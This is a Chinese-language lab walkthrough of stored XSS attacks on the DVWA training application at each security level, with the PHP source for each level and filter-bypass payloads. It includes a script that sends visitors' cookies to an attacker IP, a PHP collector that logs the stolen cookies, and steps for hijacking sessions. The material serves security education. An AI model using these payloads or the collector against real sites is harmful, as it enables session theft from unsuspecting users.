DVWA靶機-存儲型XSS漏洞(Stored)
前章:
DVWA靶機-暴力破解(Brute Force) && DVWA靶機的四個安全等級
DVWA靶機-命令注入漏洞(Command Injection)
DVWA靶機-文件包含漏洞(File Inclusion)
DVWA靶機-文件上傳漏洞(File uploads)
DVWA靶機-跨站請求僞造(CSRF)
DVWA靶機-反射性XSS漏洞(Reflected)
XSS跨站腳本攻擊
XSS(Cross Site Script):全稱爲跨站腳本攻擊,爲了與CSS(Cascading Style Sheet)層疊樣式表有所區別,所以在安全領域稱之爲XSS。
XSS攻擊:通常指黑客通過HTML注入(控制輸入變量),插入惡意腳本,從而在被攻擊者瀏覽網頁時,加載並執行攻擊者惡意製造的網頁程序,通常指JS,實際可包含java、VBscript、ActiveX、Flash、html,攻擊成功後,攻擊者可能得到一定的權限,私密網頁內容,會話,cookie等。
存儲型XSS漏洞挖掘方法
之前我們已經介紹過XSS反射型漏洞的挖掘以及攻擊方法,今天我們來介紹XSS存儲型漏洞的挖掘與攻擊方法,同XSS反射型類似,原理相同,區別在於,存儲型是將輸入的將惡意代碼上傳或者存儲到漏洞服務器中,當被攻擊者瀏覽包含該惡意代碼的頁面,就可能執行這段惡意代碼,存儲型的XSS可以永久存儲於網頁的服務器中。
存儲型的危害相當的大,將惡意代碼存儲在服務器中,當任何一個用戶訪問時都有可能觸發惡意代碼的執行,從而導致用戶的cookie被盜取等。
1.存儲型XSS漏洞可能存在的環境
存儲型XSS一般出現在網站留言板、評論、等可以與服務器交互的位置,在DVWA-XSS(Stored)模塊中模擬了一種評論留言的留言板
2.漏洞測試
既然輸入的內容能存入服務器,並回顯在WEB頁面,那我們可以嘗試一下<script></script>
標籤是否能執行
<script>alert(1)</script>
3.漏洞檢驗-惡意代碼化
此時我們發現了存儲型XSS漏洞,此時我們可以修改攻擊載荷<scirpt></script>
,加入一些惡意代碼執行
1.DVWA-LOW等級下的存儲型XSS漏洞
(1).測試存儲型XSS漏洞所在位置
在low等級下,Stored型XSS的頁面回顯如下,我們在留言板中輸入name和message會存儲在服務器中,並在頁面回顯出來,在low等級下必然存存儲型XSS,我們可以直接實施攻擊。
首先,我們在網頁源代碼中找出回顯模塊,我們以message爲例
在回顯this is test!時使用標籤<br>this is test!</br>
此時我們可以嘗試打破<br>
標籤閉合,在輸入時加入其它函數或者標籤。
彈窗函數:
- alert() && confirm() && prompt()函數: 都爲彈窗函數
我們使用<scirpt>alert(1)</script>
標籤打破<br>
閉合,此時alert()函數會執行,彈框中顯示1
此時我們可以進行一些有攻擊性的操作,比如在留言板中構造出獲取cookie值的函數,盜用進入該留言板的用戶的cookie值。
(2).植入惡意代碼、盜取用戶cookie
document.loaction: 指定cookie傳送站點
192.168.43.92: 爲攻擊者服務器
document.cookie: 獲取進入留言板的用戶的cookie值
注:message長度有限制,我們可以修改源碼的長度限制,然後傳入下面的惡意代碼
<script>document.location='http://192.168.43.92/xss.php?cookie=' +document.cookie;</script>
xss.php: 爲LOW等級下獲取cookie的處理方法,以及迷惑性界面的定義
//xss.php
<?php
$cookie=$_GET['cookie']; //獲取cookie變量的值
$log = fopen("cookie.txt","a+"); //創建並打開一個cookie.txt的文本,權限爲讀寫權限,保留原本文件內容
fwrite($log,$cookie."/n"); //把cookie的值寫入創建的文本
fclose($log); //關閉文本文件
?>
//爲迷惑性404 html頁面
[404源碼](https://www.haolizi.net/example/view_14699.html)
當用戶訪問該留言板頁面時,惡意代碼執行,通過document.cookie函數獲取當前用戶的cookie值,賦給站點xss.php文件,xss.php文件中定義也文件操作,將獲取的cookie寫入站點cookie.txt文件,此時攻擊者就獲取了用戶的cookie值
當用戶訪問該留言板時,惡意代碼執行,會跳到我們xss.php中定義的內容
迷惑性頁面404源碼
此時惡意代碼已經執行,cookie.txt文件創建成功,用戶cookie已經寫入cookie.txt文件
(3).以用戶的身份認證(cookie)登錄網站
在DVWA中對cookie沒有防範措施,也就是說,在用戶登錄的情況下,攻擊者可以利用被攻擊者的cookie,直接與服務器獲取連接
在此處
- Firefox: 模擬用戶登錄狀態
- Chrome: 手動修改站點cookie,模擬攻擊者登錄過程
LOW等級下的存儲型XSS源碼:
XSS(Stroed):
trim() 函數: 移除字符串兩側的空白字符或其他預定義字符
stripslashes()函數: 刪除反斜槓"/"
mysql_real_escape_string()函數: 轉義 SQL 語句中使用的字符串中的特殊字符。
下列字符受影響:
- \x00
- \n
- \r
- \
- ’
- "
- \x1a
如果成功,則該函數返回被轉義的字符串。如果失敗,則返回 false。
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
// Sanitize name input
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
2.DVWA-Medium等級下的存儲型XSS漏洞
(1).漏洞測試
在Medium等級下必然存在一些過濾,我們測試過程中發現,在message中使用常用的繞過方法都不能繞過過濾策略
我們測試一下在name欄,能否執行<scirpt></script>
標籤,在測試過程中,name欄也有長度限制,我們修改其源碼,增大長度插入<script></script>
標籤
我們測試出在name欄中正常的<script></script>
也被做了過濾策略
繞過方法
- 大寫繞過:
<ScRipt>alert(1)<ScRipt>
- 雙寫繞過:
<scr<script>ipt>alert(1)</script>
<img>
標籤錯誤路徑繞過:<img src=x onerror=alert(1)>
此處以大寫繞過爲例
(2).植入惡意代碼、盜取用戶cookie
同low等級一樣,我們構造的惡意代碼爲:
<ScRipt>document.location='http://192.168.43.92/xss1.php?cookie=' +document.cookie;</ScRipt>
與low等級不同的是,<ScRipt></ScRipt>
xss1.php: 爲Medium等級下獲取cookie的處理方法、迷惑性鏈接
創建的保存用戶cookie的文檔爲,cookie1.txt文本文檔
<?php
$cookie = $_GET['cookie']; //獲取cookie變量的值
$log = fopen("cookie1.txt","a+"); // 創建並打開一個cookie1.txt的文本,權限爲讀寫權限,保留原本文件內容
fwrite($log,$cookie ."\n"); //把cookie的值寫入創建的文本文檔
fclose($log); //關閉文本
?>
+//迷惑性404頁面
[404源碼](https://www.haolizi.net/example/view_14699.html)
當用戶訪問該留言板頁面時,惡意代碼執行,通過document.cookie函數獲取當前用戶的cookie值,賦給站點xss1.php文件,xss1.php文件中定義也文件操作,將獲取的cookie寫入站點cookie1.txt文件,此時攻擊者就獲取了用戶的cookie值
當用戶訪問該留言板時,惡意代碼執行,會跳到我們xss1.php中定義的內容
cookie1.txt創建成功
cookie值寫入cookie1.txt文本文檔
(3).以用戶的身份認證(cookie)登錄網站
同low等級一樣,在用戶登錄的情況下,攻擊者可以利用用戶的cookie,直接與服務器獲取連接
Medium等級下的存儲型XSS源碼:
在Medium等級中,對message模塊有強大的過濾,而對於name模塊的過濾就比較弱了。
XSS(Stroed):
strip_tags() 函數: 剝去字符串中的 HTML、XML 以及 PHP 的標籤,在此處剝除了message中的標籤。
mysql_real_escape_string()函數: 轉義 SQL 語句中使用的字符串中的特殊字符。
下列字符受影響:
- \x00
- \n
- \r
- \
- ’
- "
- \x1a
如果成功,則該函數返回被轉義的字符串。如果失敗,則返回 false。
addslashes() 函數: 返回在預定義字符之前添加反斜槓的字符串
htmlspecialchars() 函數: 把預定義的字符轉換爲 HTML 實體。
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
3.DVWA-High等級下的存儲型XSS漏洞
(1).漏洞測試
在High等級下必然存在更強的過濾策略,我們測試過程中發現,同medium等級一樣 在message中使用常用的繞過方法都不能繞過過濾策略
在name欄中我們發現,<script></script>
也被過濾,不能繞過,當然img標籤可以繞過,我們看high等級下的源碼
High等級下的存儲型XSS源碼:
XSS (Stored) Source:
preg_replace()函數: 函數用於正則表達式的搜索和替換,替換爲空,i爲不區分大小寫
同DVWA靶機中High等級下的反射型XSS類似,都用到了preg_replace()函數,它徹底的過濾了<script></script>
,不能繞過,同時針對於message模塊,也有相當強大的過濾策略,message不存在存儲型XSS漏洞
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
繞過方法:
使用其他標籤,比如 <img src=x onerror=alert(1)>
,img調用圖片,src所描述路徑不存在,會導致onerror執行,從而時alert(1)函數觸發,回顯1
4.DVWA-impossible等級
在impossible等級下,針對於message與name模塊都使用 stripslashes()、mysql_real_escape_string()、以及htmlspecialchars()函數
這給我們對於防範存儲型XSS提供一個範例
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = mysql_real_escape_string( $name );
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>